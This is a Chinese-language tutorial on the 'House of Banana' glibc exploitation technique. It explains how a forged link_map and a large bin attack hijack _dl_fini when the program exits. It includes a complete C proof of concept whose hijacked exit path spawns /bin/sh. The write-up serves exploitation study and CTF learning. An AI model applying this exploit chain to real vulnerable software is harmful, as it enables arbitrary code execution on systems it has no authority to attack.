回炉重修之house of banana 带源码调试解析原理
字数 1804 2025-08-22 12:22:36
House of Banana 利用技术详解
概述
House of Banana 是一种针对 glibc 动态链接器的利用技术,适用于 glibc 2.23 到最新版本(2.36)。该技术通过伪造 link_map 结构体,在程序退出时(通过 main 函数返回或调用 exit 函数)劫持程序流。
利用条件
- 可以任意地址写一个堆地址(通常使用 large bin attack)
- 能够从 main 函数返回或者调用 exit 函数
- 可以泄露 libc 地址和堆地址
技术原理
关键数据结构
_rtld_global 结构体
struct rtld_global {
struct link_namespaces {
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* ...其他字段... */
} _dl_ns[DL_NNS];
/* ...其他字段... */
};
_rtld_global 结构体管理动态链接器运行时的全局状态,特别是链接命名空间的管理。其中 _ns_loaded 是指向 link_map 链表头部的指针。
link_map 结构体
link_map 结构体以链表形式存储,通过 l_next 和 l_prev 指针连接。关键字段包括:
l_next: 指向下一个 link_map 结构体的指针l_prev: 指向上一个 link_map 结构体的指针l_real: 当前结构体的真实地址l_info: 动态节信息数组
利用链
利用链为:exit -> _dl_fini
攻击思路
- 通过 large bin attack 或其他方式修改
_rtld_global._dl_ns._ns_loaded指向可控的堆地址 - 伪造 link_map 结构体,绕过检查并控制程序流
- 利用
_dl_fini函数中的((fini_t) array[i]) ()调用执行 shellcode
关键检查与绕过
在 _dl_fini 函数中,需要绕过以下检查:
-
l_real 检查:
if (l == l->l_real) // 必须满足需要设置
fake+0x28 = fake -
DT_FINI_ARRAY 检查:
if (l->l_info[DT_FINI_ARRAY] != NULL) // DT_FINI_ARRAY = 26需要设置
l_info[26]为非空 -
DT_FINI_ARRAYSZ 检查:
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); // DT_FINI_ARRAYSZ = 28需要设置
l_info[28]的值
伪造 link_map 结构体
需要伪造的结构体布局如下:
*(uint64_t*)(fake+0x28) = fake; // l_real 指向自身
*(uint64_t*)(fake+0x31c) = 0x1c; // _ns_nloaded 至少为4
*(uint64_t*)(fake+0x110) = fake+0x40; // l_info[28] 指向 fake+0x40
*(uint64_t*)(fake+0x48) = fake+0x58; // array 地址
*(uint64_t*)(fake+0x58) = (uint64_t)shell; // shell 函数地址
*(uint64_t*)(fake+0x120) = fake+0x48; // l_info[26] 指向 fake+0x48
*(uint64_t*)(fake+0x50) = 0x8; // d_val 值
解释:
fake+0x110是l_info[28]的地址fake+0x40是l_info[26]的地址fake+0x48是array的地址(指向fake+0x58)fake+0x58存储 shell 函数地址fake+0x50的0x8会被除以sizeof(ElfW(Addr))(8)得到i=1
示例利用代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
void shell(){
system("/bin/sh");
}
uint64_t getLibcBase(){
uint64_t to;
uint64_t from;
char buf[0x400];
FILE* file;
sprintf(buf, "/proc/%d/maps",(int)getpid());
file = fopen(buf, "r");
while(fgets(buf, sizeof(buf), file)) {
if(strstr(buf,"libc")!=NULL) {
sscanf(buf, "%lx-%lx", &from, &to);
fclose(file);
return from;
}
}
}
int main(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
uint64_t libcBase = getLibcBase();
uint64_t rtld_global = libcBase+0x23d060;
uint64_t* next_node = (uint64_t*)(rtld_global-0x4b048);
uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
uint64_t *g1 = malloc(0x18);
uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;
*(uint64_t*)(fake+0x28) = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48) = fake+0x58;
*(uint64_t*)(fake+0x58) = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50) = 0x8;
printf("libcBase is 0x%lx\n",libcBase);
printf("rtld_global is 0x%lx\n",rtld_global);
free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin
p2[1] = 0;
p2[3] = fake;
return 0;
}
攻击步骤解析
-
内存布局准备:
- 分配两个不同大小的 chunk (p1=0x428, p2=0x418)
- 释放 p1 使其进入 large bin
- 分配更大的 chunk (0x438) 触发 p1 插入 large bin
-
large bin attack:
- 释放 p2 使其进入 unsorted bin
- 修改 p1 的 bk_nextsize 指向目标地址 (
next_node-0x20) - 分配大 chunk 触发 large bin attack,修改目标地址为 p2 的地址
-
伪造 link_map:
- 在 p2-0x10 处伪造 link_map 结构体
- 设置必要的字段绕过检查并指向 shell 函数
-
触发利用:
- 程序退出时调用
_dl_fini _dl_fini遍历 link_map 链表- 遇到伪造的 link_map 并执行 shell 函数
- 程序退出时调用
调试关键点
在调试时,重点关注:
_dl_fini函数中的第四次循环(因为_ns_nloaded设置为 0x1c)- 检查伪造的 link_map 结构体是否满足所有条件
- 观察
call qword ptr [r14]指令是否跳转到 shell 函数
总结
House of Banana 是一种强大的利用技术,通过伪造 link_map 结构体在程序退出时劫持控制流。成功利用需要:
- 精确控制堆布局
- 正确伪造 link_map 结构体绕过所有检查
- 通过 large bin attack 或其他方式修改关键指针
该技术适用于多种场景,特别是在可以控制堆分配和泄露地址的情况下,能够绕过许多现代防护机制。